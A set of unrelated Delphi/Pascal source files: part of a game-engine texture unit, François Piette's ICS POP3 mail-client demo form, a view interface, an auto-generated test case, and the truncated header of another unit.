If (_Dynamic) Or (Not GraphicsManager.Instance.Settings.Shaders.Avaliable) Or (PreserveQuality) Or (_FrameCount>1) Then
Exit;
{$IFDEF PC}
{$IFNDEF FORCERGBA}
If (GraphicsManager.Instance.Settings.TextureCompression.Avaliable) And (Not Uncompressed) Then
_TargetFormat := GL_COMPRESSED_RGBA;
{$ENDIF}
{$ENDIF}
{$IFDEF TEXTURES16BIT}
If (Odd(_Width)) Or (Not GraphicsManager.Instance.Settings.TextureCompression.Enabled) Then
Exit;
HasMask := False;
HasAlpha := False;
{ If (_Name='SPRITE320') Then
IntToString(2);}
I := 0;
Count := Source.Width * Source.Height;
P := Source.Pixels;
While (I<Count) Do
Begin
Alpha := P.A;
If (Alpha=0) Then
HasMask := True
Else
If (Alpha<255) Then
Begin
HasAlpha := True;
Break;
End;
Inc(P);
Inc(I);
End;
If Length(Scratch16)<Count Then
SetLength(Scratch16, Count);
Pixels := @Scratch16[0];
OP := PWord(Pixels);
P := Source.Pixels;
I := 0;
X := 0;
If (HasAlpha) Then
Begin
Log(logDebug, 'Texture', 'Converting '+_Name+' to RGBA4444');
While (I<Count) Do
Begin
C := P^;
C.R := C.R Shr 4;
C.G := C.G Shr 4;
C.B := C.B Shr 4;
C.A := C.A Shr 4;
OP^ := C.A + (C.B Shl 4) + (C.G Shl 8) + (C.R Shl 12);
Inc(P);
Inc(OP);
Inc(I);
End;
_TargetFormat := GL_RGBA;
_ByteFormat := GL_UNSIGNED_SHORT_4_4_4_4;
End Else
If (HasMask) Then
Begin
Log(logDebug, 'Texture', 'Converting '+_Name+' to RGBA5551');
While (I<Count) Do
Begin
C := P^;
C.R := C.R Shr 3;
C.G := C.G Shr 3;
C.B := C.B Shr 3;
C.A := C.A Shr 7;
OP^ := C.A + (C.B Shl 1) + (C.G Shl 6) + (C.R Shl 11);
Inc(P);
Inc(OP);
Inc(I);
End;
_TargetFormat := GL_RGBA;
_ByteFormat := GL_UNSIGNED_SHORT_5_5_5_1;
End Else
Begin
Log(logDebug, 'Texture', 'Converting '+_Name+' to RGB565');
While (I<Count) Do
Begin
C := P^;
C.R := C.R Shr 3;
C.G := C.G Shr 2;
C.B := C.B Shr 3;
OP^ := C.B + ((C.G Shl 5) + (C.R Shl 11));
Inc(P);
Inc(OP);
Inc(I);
End;
_TargetFormat := GL_RGB;
_ByteFormat := GL_UNSIGNED_SHORT_5_6_5;
End;
_SourceFormat := _TargetFormat;
{$ENDIF}
End;*)
{Function Texture.GetHandle(Frame:Integer): Cardinal;
Begin
If (Frame<0) Or (Frame>=_FrameCount) Then
Frame := _CurrentFrame;
Result := _Handles[Frame];
End;}
Procedure Texture.SetFilter(Value: TextureFilterMode);
Begin
Self._Filter := Value;
Self._SettingsChanged := True;
End;
Procedure Texture.SetMipMapping(Value: Boolean);
Begin
Self._MipMapped := Value;
Self._SettingsChanged := True;
End;
Procedure Texture.SetWrapMode(Value: TextureWrapMode);
Begin
Self._WrapMode := Value;
Self._SettingsChanged := True;
End;
Function Texture.GetCurrent:SurfaceInterface;
Begin
If (_CurrentFrame>=_FrameCount) Then
Result := Nil
Else
Result := _Handles[_CurrentFrame];
End;
Procedure Texture.ApplySettings(Slot: Integer);
Begin
{$IFDEF MOBILE}
If (IsNPOT()) Then
Begin
Filter := filterLinear;
MipMapped := False;
WrapMode := wrapNothing;
End;
{$ENDIF}
Self.Current.WrapMode := Self.WrapMode;
Self.Current.MipMapped := Self.MipMapped;
Self.Current.Filter := Self.Filter;
End;
Procedure Texture.Save(const FileName: TERRAString);
Var
Img:Image;
Begin
Img := Self.GetImage();
If Assigned(Img) Then
Begin
Img.Save(FileName);
ReleaseObject(Img);
End;
End;
Function Texture.IsNPOT: Boolean;
Var
W, H:Cardinal;
Begin
W := NearestPowerOfTwo(Self.Width);
H := NearestPowerOfTwo(Self.Height);
Result := (W<>Self.Width) Or (H<>Self.Height);
End;
Function Texture.GetImage: Image;
Begin
Result := Self.Current.GetImage();
End;
Function Texture.GetPixel(X, Y: Integer): Color;
Begin
Result := Self._Source.GetPixel(X, Y);
//Result := Self.Current.GetPixel(X, Y);
End;
Function Texture.GetOrigin: SurfaceOrigin;
Begin
If Assigned(Self.Current) Then
Result := Self.Current.Origin
Else
Result := surfaceBottomRight;
End;
Class Function Texture.LoadFromFile(const FileName: TERRAString): Texture;
Var
Src:Stream;
Begin
Src := FileManager.Instance.OpenStream(FileName);
If Assigned(Src) Then
Begin
Result := Texture.Create(rtDynamic, FileName);
Result.Load(Src);
Result.Update();
ReleaseObject(Src);
End Else
Result := Nil;
End;
Function Texture.IsValid: Boolean;
Begin
Result := (Assigned(Self.Current)) And (Self.Current.IsValid());
End;
Function Texture.GetTransparencyType:ImageTransparencyType;
Begin
If (Self._TransparencyType = imageUnknown) Then
Begin
If _Source = Nil Then
Begin
Result := imageOpaque;
Exit;
End;
Self._TransparencyType := _Source.TransparencyType;
End;
Result := Self._TransparencyType;
End;
End.
|
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author: François PIETTE
Object: Show how to use TPop3Cli (POP3 protocol, RFC-1225)
Creation: 03 october 1997
Version: 6.00
EMail: francois.piette@overbyte.be http://www.overbyte.be
Support: Use the mailing list twsocket@elists.org
Follow "support" link at http://www.overbyte.be for subscription.
Legal issues: Copyright (C) 1997-2006 by François PIETTE
Rue de Grady 24, 4053 Embourg, Belgium. Fax: +32-4-365.74.56
<francois.piette@overbyte.be>
This software is provided 'as-is', without any express or
implied warranty. In no event will the author be held liable
for any damages arising from the use of this software.
Permission is granted to anyone to use this software for any
purpose, including commercial applications, and to alter it
and redistribute it freely, subject to the following
restrictions:
1. The origin of this software must not be misrepresented,
you must not claim that you wrote the original software.
If you use this software in a product, an acknowledgment
in the product documentation would be appreciated but is
not required.
2. Altered source versions must be plainly marked as such, and
must not be misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
Updates:
Nov 12, 1997 V1.01 Added a GetAll button to get all messages waiting in the
POP3 server, copying them to a file using the UIDL to build
the file name (sorry, wont work with D1 because of long file
name). The message is *NOT* deleted from the POP3 server.
Jan 10, 1998 V1.02 Added port selection
Jul 05, 2002 V1.03 Added header display in separate UI gadget
Jan 11, 2004 V1.04 Added Auth feature.
Added form persitence.
Mar 23, 2006 V6.00 New version started from ICS-V5
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
unit OverbyteIcsMailRcv1;
interface
uses
WinTypes, WinProcs, Messages, SysUtils, Classes, Controls, Forms,
ExtCtrls, StdCtrls, IniFiles, OverbyteIcsWndControl,
OverbyteIcsPop3Prot;
const
MailRcvVersion = 104;
CopyRight : String = ' MailRcv demo (c) 1997-2006 F. Piette V1.04 ';
type
TPOP3ExcercizerForm = class(TForm)
DisplayMemo: TMemo;
Panel1: TPanel;
InfoLabel: TLabel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
ConnectButton: TButton;
QuittButton: TButton;
UserButton: TButton;
HostEdit: TEdit;
UserNameEdit: TEdit;
PassWordEdit: TEdit;
PassButton: TButton;
MsgNumEdit: TEdit;
RetrButton: TButton;
StatButton: TButton;
ListAllButton: TButton;
ListButton: TButton;
DeleteButton: TButton;
NoopButton: TButton;
LastButton: TButton;
ResetButton: TButton;
TopButton: TButton;
MsgLinesEdit: TEdit;
RpopButton: TButton;
UidlButton: TButton;
ApopButton: TButton;
NextButton: TButton;
GetAllButton: TButton;
PortEdit: TEdit;
Label6: TLabel;
Pop3Client: TPop3Cli;
OpenButton: TButton;
AbortButton: TButton;
Label7: TLabel;
SubjectEdit: TEdit;
Label8: TLabel;
FromEdit: TEdit;
Label9: TLabel;
ToEdit: TEdit;
AuthComboBox: TComboBox;
Label11: TLabel;
AuthButton: TButton;
procedure ConnectButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure QuittButtonClick(Sender: TObject);
procedure UserButtonClick(Sender: TObject);
procedure PassButtonClick(Sender: TObject);
procedure Pop3ClientMessageBegin(Sender: TObject);
procedure Pop3ClientMessageEnd(Sender: TObject);
procedure Pop3ClientMessageLine(Sender: TObject);
procedure RetrButtonClick(Sender: TObject);
procedure StatButtonClick(Sender: TObject);
procedure ListAllButtonClick(Sender: TObject);
procedure ListButtonClick(Sender: TObject);
procedure Pop3ClientListBegin(Sender: TObject);
procedure Pop3ClientListEnd(Sender: TObject);
procedure Pop3ClientListLine(Sender: TObject);
procedure DeleteButtonClick(Sender: TObject);
procedure NoopButtonClick(Sender: TObject);
procedure LastButtonClick(Sender: TObject);
procedure ResetButtonClick(Sender: TObject);
procedure TopButtonClick(Sender: TObject);
procedure RpopButtonClick(Sender: TObject);
procedure Pop3ClientDisplay(Sender: TObject; Msg: String);
procedure UidlButtonClick(Sender: TObject);
procedure Pop3ClientUidlBegin(Sender: TObject);
procedure Pop3ClientUidlEnd(Sender: TObject);
procedure Pop3ClientUidlLine(Sender: TObject);
procedure ApopButtonClick(Sender: TObject);
procedure NextButtonClick(Sender: TObject);
procedure GetAllButtonClick(Sender: TObject);
procedure Pop3ClientRequestDone(Sender: TObject; RqType: TPop3Request;
ErrCode: Word);
procedure OpenButtonClick(Sender: TObject);
procedure AbortButtonClick(Sender: TObject);
procedure Pop3ClientHeaderEnd(Sender: TObject);
procedure AuthButtonClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
FIniFileName : String;
FInitialized : Boolean;
FFile : TextFile;
FFileName : String;
FFileOpened : Boolean;
FGetAllState : Integer;
FMsgPath : String;
procedure Exec(MethodPtr : TPop3NextProc;
MethodName : String);
procedure MessageBegin(Sender: TObject);
procedure MessageLine(Sender: TObject);
procedure GetAllMessageLine(Sender: TObject);
procedure GetAllRequestDone(Sender: TObject;
RqType: TPop3Request; ErrCode: Word);
procedure NextMessageRequestDone(Sender: TObject;
RqType: TPop3Request; ErrCode: Word);
end;
var
POP3ExcercizerForm: TPOP3ExcercizerForm;
implementation
{$R *.DFM}
uses
OverbyteIcsMailRcv2;
const
SectionWindow = 'Window';
KeyTop = 'Top';
KeyLeft = 'Left';
KeyWidth = 'Width';
KeyHeight = 'Height';
SectionData = 'Data';
KeyHost = 'Host';
KeyPort = 'Port';
KeyUserName = 'UserName';
KeyPassword = 'Password';
KeyAuth = 'Authentication';
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.FormCreate(Sender: TObject);
begin
FIniFileName := LowerCase(ExtractFileName(Application.ExeName));
FIniFileName := Copy(FIniFileName, 1, Length(FIniFileName) - 3) + 'ini';
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.FormShow(Sender: TObject);
var
IniFile : TIniFile;
begin
if not FInitialized then begin
IniFile := TIniFile.Create(FIniFileName);
Top := IniFile.ReadInteger(SectionWindow, KeyTop,
(Screen.Height - Height) div 2);
Left := IniFile.ReadInteger(SectionWindow, KeyLeft,
(Screen.Width - Width) div 2);
Width := IniFile.ReadInteger(SectionWindow, KeyWidth,
Width);
Height := IniFile.ReadInteger(SectionWindow, KeyHeight,
Height);
HostEdit.Text := IniFile.ReadString(SectionData, KeyHost,
'pop.hostname.com');
PortEdit.Text := IniFile.ReadString(SectionData, KeyPort,
'pop3');
UserNameEdit.Text := IniFile.ReadString(SectionData, KeyUserName,
'');
PassWordEdit.Text := IniFile.ReadString(SectionData, KeyPassword,
'');
AuthComboBox.ItemIndex := IniFile.ReadInteger(SectionData, KeyAuth,
Ord(popAuthNone));
IniFile.Free;
InfoLabel.Caption := '';
SubjectEdit.Text := '';
FromEdit.Text := '';
ToEdit.Text := '';
DisplayMemo.Clear;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.FormClose(
Sender : TObject;
var Action : TCloseAction);
var
IniFile : TIniFile;
begin
IniFile := TIniFile.Create(FIniFileName);
IniFile.WriteInteger(SectionWindow, KeyTop, Top);
IniFile.WriteInteger(SectionWindow, KeyLeft, Left);
IniFile.WriteInteger(SectionWindow, KeyWidth, Width);
IniFile.WriteInteger(SectionWindow, KeyHeight, Height);
IniFile.WriteString(SectionData, KeyHost, HostEdit.Text);
IniFile.WriteString(SectionData, KeyPort, PortEdit.Text);
IniFile.WriteString(SectionData, KeyUserName, UserNameEdit.Text);
IniFile.WriteString(SectionData, KeyPassword, PassWordEdit.Text);
IniFile.WriteInteger(SectionData, KeyAuth, AuthComboBox.ItemIndex);
IniFile.Free;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when the TPop3Client object wants to display }
{ some information such as connection progress or errors. }
procedure TPOP3ExcercizerForm.Pop3ClientDisplay(
Sender : TObject;
Msg : String);
begin
DisplayMemo.Lines.Add(Msg);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ All the TPop3Client method are of the same type. To simplify this demo }
{ application, Exec transfert the parameters form the various EditBoxes }
{ to the Pop3Client instance and then call the appropriate method, showing }
{ the result in the InfoLabel.Caption. }
procedure TPOP3ExcercizerForm.Exec(
MethodPtr : TPop3NextProc;
MethodName : String);
begin
SubjectEdit.Text := '';
FromEdit.Text := '';
ToEdit.Text := '';
Pop3Client.Host := HostEdit.Text;
Pop3Client.Port := PortEdit.Text;
Pop3Client.UserName := UserNameEdit.Text;
Pop3Client.PassWord := PassWordEdit.Text;
Pop3Client.AuthType := TPop3AuthType(AuthComboBox.ItemIndex);
Pop3Client.MsgNum := StrToInt(MsgNumEdit.Text);
Pop3Client.MsgLines := StrToInt(MsgLinesEdit.Text);
{ We need to reassign event handlers because we may have changed them }
{ doing GetAllMessages for example }
Pop3Client.OnRequestDone := Pop3ClientRequestDone;
Pop3Client.OnMessageBegin := Pop3ClientMessageBegin;
Pop3Client.OnMessageEnd := Pop3ClientMessageEnd;
Pop3Client.OnMessageLine := Pop3ClientMessageLine;
InfoLabel.Caption := MethodName + ' started';
try
MethodPtr;
InfoLabel.Caption := MethodName + ' ok';
except
on E:Exception do begin
MessageBeep(MB_OK);
InfoLabel.Caption := MethodName + ' failed (' + E.Message + ')';
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.ConnectButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Connect, 'Connect');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.OpenButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Open, 'Open');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.UserButtonClick(Sender: TObject);
begin
Exec(Pop3Client.User, 'User');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.PassButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Pass, 'Pass');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.QuittButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Quit, 'Quit');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.AbortButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Abort, 'Abort');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.RetrButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Retr, 'Retr');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.StatButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Stat, 'Stat');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.ListAllButtonClick(Sender: TObject);
begin
MsgNumEdit.Text := '0';
Exec(Pop3Client.List, 'List All');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.ListButtonClick(Sender: TObject);
begin
Exec(Pop3Client.List, 'List');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.DeleteButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Dele, 'Delete');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.NoopButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Noop, 'Noop');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.LastButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Last, 'Last');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.ResetButtonClick(Sender: TObject);
begin
Exec(Pop3Client.RSet, 'Rset');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.TopButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Top, 'Top');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.RpopButtonClick(Sender: TObject);
begin
Exec(Pop3Client.RPop, 'Rpop');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.UidlButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Uidl, 'Uidl');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.ApopButtonClick(Sender: TObject);
begin
Exec(Pop3Client.APop, 'Apop');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when TPop3Client is about to receive a }
{ message. The MsgNum property gives the message number. }
{ This event handler could be used to open the file used to store the msg. }
{ The file handle could be stored in the TPop3Client.Tag property to be }
{ easily retrieved by the OnMessageLine and OnMessageEnd event handlers. }
procedure TPOP3ExcercizerForm.Pop3ClientMessageBegin(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** Message ' +
IntToStr((Sender as TPop3Cli).MsgNum) +
' begin ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when TPop3Client has detected the end of a }
{ message, even if there is an error or exception, this event gets called. }
{ This event handler could be used to close the file used to store the msg. }
procedure TPOP3ExcercizerForm.Pop3ClientMessageEnd(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** Message ' +
IntToStr((Sender as TPop3Cli).MsgNum) +
' end ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called for each message line that TPop3Client is }
{ receiveing. This could be used to write the message lines to a file. }
procedure TPOP3ExcercizerForm.Pop3ClientMessageLine(Sender: TObject);
begin
DisplayMemo.Lines.Add((Sender as TPop3Cli).LastResponse);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when TPop3Client is about to receive a }
{ list line. The MsgNum property gives the message number. }
procedure TPOP3ExcercizerForm.Pop3ClientListBegin(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** List begin ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when TPop3Client has received the last list }
{ line. }
procedure TPOP3ExcercizerForm.Pop3ClientListEnd(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** List End ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called for each list line received by TPop3Client. }
procedure TPOP3ExcercizerForm.Pop3ClientListLine(Sender: TObject);
var
Buffer : String;
begin
Buffer := 'MsgNum = ' + IntToStr((Sender as TPop3Cli).MsgNum) + ' ' +
'MsgSize = ' + IntToStr((Sender as TPop3Cli).MsgSize) + ' ' +
'Line = ''' + (Sender as TPop3Cli).LastResponse + '''';
DisplayMemo.Lines.Add(Buffer);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.Pop3ClientUidlBegin(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** Uidl begin ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.Pop3ClientUidlEnd(Sender: TObject);
begin
DisplayMemo.Lines.Add('*** Uidl end ***');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.Pop3ClientUidlLine(Sender: TObject);
var
Buffer : String;
begin
Buffer := 'MsgNum = ' + IntToStr((Sender as TPop3Cli).MsgNum) + ' ' +
'MsgUidl = ' + (Sender as TPop3Cli).MsgUidl + '''';
DisplayMemo.Lines.Add(Buffer);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.MessageBegin(Sender: TObject);
begin
MessageForm.Caption := 'Message ' +
IntToStr((Sender as TPop3Cli).MsgNum);
MessageForm.Show;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.MessageLine(Sender: TObject);
begin
MessageForm.DisplayMemo.Lines.Add((Sender as TPop3Cli).LastResponse);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.NextButtonClick(Sender: TObject);
begin
MessageForm.DisplayMemo.Clear;
MessageForm.Caption := 'Message';
Pop3Client.OnMessageBegin := MessageBegin;
Pop3Client.OnMessageEnd := nil;
Pop3Client.OnMessageLine := MessageLine;
Pop3Client.OnRequestDone := NextMessageRequestDone;
Pop3Client.MsgNum := StrToInt(MsgNumEdit.Text);
Pop3Client.Retr;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.NextMessageRequestDone(
Sender : TObject;
RqType : TPop3Request;
ErrCode : Word);
begin
if ErrCode <> 0 then
Exit;
MsgNumEdit.Text := IntToStr(StrToInt(MsgNumEdit.Text) + 1);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.GetAllMessageLine(Sender: TObject);
begin
Writeln(FFile, (Sender as TPop3Cli).LastResponse);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ The procedure here after will start an event chain that will eventually }
{ download all messages for the POP3 server. We cannot simply loop because }
{ the POP3 compomnet is asynchronous: it will not wait for operation done }
{ before returning. We must "chain" operations one after the other using }
{ the OnRequestDone event handler. We use the variable FGetAllState to keep }
{ track of where we are. }
{ To get all messages, we must first call Stat to know how many messages }
{ are on the server, then for each message we call Uidl to get a unique }
{ identifier for each message to build a file name and know if we already }
{ have a message, then we retrieve the message, then we increment the }
{ message number and continue until the number of messages is reached. }
{ We should start a TTimer to handle timeout... }
procedure TPOP3ExcercizerForm.GetAllButtonClick(Sender: TObject);
var
IniFile : TIniFile;
begin
{ Get path from INI file }
IniFile := TIniFile.Create(FIniFileName);
FMsgPath := IniFile.ReadString('Data', 'MsgPath',
ExtractFilePath(Application.ExeName));
IniFile.Free;
{ Be sure to have an ending backslash }
if (Length(FMsgPath) > 0) and (FMsgPath[Length(FMsgPath)] <> '\') then
FMsgPath := FMsgPath + '\';
FGetAllState := 0;
FFileOpened := FALSE;
Pop3Client.OnRequestDone := GetAllRequestDone;
Pop3Client.OnMessageBegin := nil;
Pop3Client.OnMessageEnd := nil;
Pop3Client.OnMessageLine := GetAllMessageLine;
Pop3Client.Stat;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ This event handler is called when a request related to GetAll is done. }
{ We check for errors and our state variable FGetAllState which tells us }
{ where we are (stat, uidl or retr which are the 4 commands we use. }
{ Note that we also could use Dele to remove the messages from the server. }
procedure TPOP3ExcercizerForm.GetAllRequestDone(
Sender : TObject;
RqType : TPop3Request;
ErrCode : Word);
begin
if ErrCode <> 0 then begin
if FFileOpened then begin
FFileOpened := FALSE;
CloseFile(FFile);
end;
DisplayMemo.Lines.Add('Error ' + Pop3Client.ErrorMessage);
Exit;
end;
try
case FGetAllState of
0: begin { Comes from the Stat command }
if Pop3Client.MsgCount < 1 then begin
DisplayMemo.Lines.Add('No message to download.');
Exit;
end;
Pop3Client.MsgNum := 1; { Start with first message }
FGetAllState := 1;
Pop3Client.Uidl;
end;
1: begin { Comes from the Uidl command }
FFileName := FMsgPath + 'Msg ' + Pop3Client.MsgUidl + '.txt';
if FileExists(FFileName) then begin
DisplayMemo.Lines.Add('Message ' + IntToStr(Pop3Client.MsgNum) + ' already here');
if Pop3Client.MsgNum >= Pop3Client.MsgCount then begin
DisplayMemo.Lines.Add('Finished');
Exit;
end;
Pop3Client.MsgNum := Pop3Client.MsgNum + 1;
FGetAllState := 1;
Pop3Client.Uidl;
end
else begin
DisplayMemo.Lines.Add('Message ' + IntToStr(Pop3Client.MsgNum));
AssignFile(FFile, FFileName);
Rewrite(FFile);
FFileOpened := TRUE;
FGetAllState := 2;
Pop3Client.Retr;
end;
end;
2: begin { Comes from the Retr command }
FFileOpened := FALSE;
CloseFile(FFile);
if Pop3Client.MsgNum >= Pop3Client.MsgCount then begin
DisplayMemo.Lines.Add('Finished');
Exit;
end;
Pop3Client.MsgNum := Pop3Client.MsgNum + 1;
FGetAllState := 1;
Pop3Client.Uidl;
end;
else
DisplayMemo.Lines.Add('Invalid state');
Exit;
end;
except
on E:Exception do begin
if FFileOpened then begin
FFileOpened := FALSE;
CloseFile(FFile);
end;
DisplayMemo.Lines.Add('Error: ' + E.Message);
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.Pop3ClientRequestDone(
Sender : TObject;
RqType : TPop3Request;
ErrCode : Word);
begin
DisplayMemo.Lines.Add('Request Done Rq=' + IntToStr(Integer(RqType)) +
' Error=' + IntToStr(ErrCode));
if RqType = pop3Stat then begin
InfoLabel.Caption := 'Stat ok, ' +
IntToStr(Pop3Client.MsgCount) + ' messages ' +
IntToStr(Pop3Client.MsgSize) + ' bytes'
end
else if RqType = pop3List then begin
InfoLabel.Caption := 'List ok, ' +
IntToStr(Pop3Client.MsgNum) + ' message ' +
IntToStr(Pop3Client.MsgSize) + ' bytes'
end
else if RqType = pop3Last then begin
InfoLabel.Caption := 'Last = ' + IntToStr(Pop3Client.MsgNum);
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.Pop3ClientHeaderEnd(Sender: TObject);
begin
SubjectEdit.Text := Pop3Client.HeaderSubject;
FromEdit.Text := Pop3Client.HeaderFrom;
ToEdit.Text := Pop3Client.HeaderTo;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TPOP3ExcercizerForm.AuthButtonClick(Sender: TObject);
begin
Exec(Pop3Client.Auth, 'Auth');
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
end.
|
/// <summary>
/// </summary>
unit uIViews;
interface
uses
{ TThread }
System.Classes,
{ TImage }
Vcl.ExtCtrls,
{ TPicture }
Vcl.Graphics,
{ TWinControl }
Vcl.Controls;
type
/// <summary>
/// </summary>
IViewControl = interface
['{BAC7364A-63E3-4B7D-9052-598859E174EA}']
/// <summary>
/// </summary>
procedure CreateControls;
/// <summary>
/// </summary>
procedure UpdateImage(ABitmap: TBitmap);
/// <summary>
/// </summary>
procedure ImageThreadComleted(const AThread: TThread);
/// <summary>
/// </summary>
procedure UpdateLoadProgress(AValue: Integer);
/// <summary>
/// </summary>
function GetImageViewsControl: TWinControl;
end;
implementation
end.
|
unit K604920400;
{* [Requestlink:604920400] }
// Модуль: "w:\common\components\rtl\Garant\Daily\K604920400.pas"
// Стереотип: "TestCase"
// Элемент модели: "K604920400" MUID: (55C36847033E)
// Имя типа: "TK604920400"
{$Include w:\common\components\rtl\Garant\Daily\TestDefine.inc.pas}
interface
{$If Defined(nsTest) AND NOT Defined(NoScripts)}
uses
l3IntfUses
, RTFtoEVDWriterTest
;
type
TK604920400 = class(TRTFtoEVDWriterTest)
{* [Requestlink:604920400] }
protected
function GetFolder: AnsiString; override;
{* Папка в которую входит тест }
function GetModelElementGUID: AnsiString; override;
{* Идентификатор элемента модели, который описывает тест }
end;//TK604920400
{$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts)
implementation
{$If Defined(nsTest) AND NOT Defined(NoScripts)}
uses
l3ImplUses
, TestFrameWork
//#UC START# *55C36847033Eimpl_uses*
//#UC END# *55C36847033Eimpl_uses*
;
function TK604920400.GetFolder: AnsiString;
{* Папка в которую входит тест }
begin
Result := '7.11';
end;//TK604920400.GetFolder
function TK604920400.GetModelElementGUID: AnsiString;
{* Идентификатор элемента модели, который описывает тест }
begin
Result := '55C36847033E';
end;//TK604920400.GetModelElementGUID
initialization
TestFramework.RegisterTest(TK604920400.Suite);
{$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts)
end.
|
unit cCadLancamento;
interface
uses System.Classes, Vcl.Controls,
Vcl.ExtCtrls, Vcl.Dialogs, FireDAC.Comp.Client, System.SysUtils;
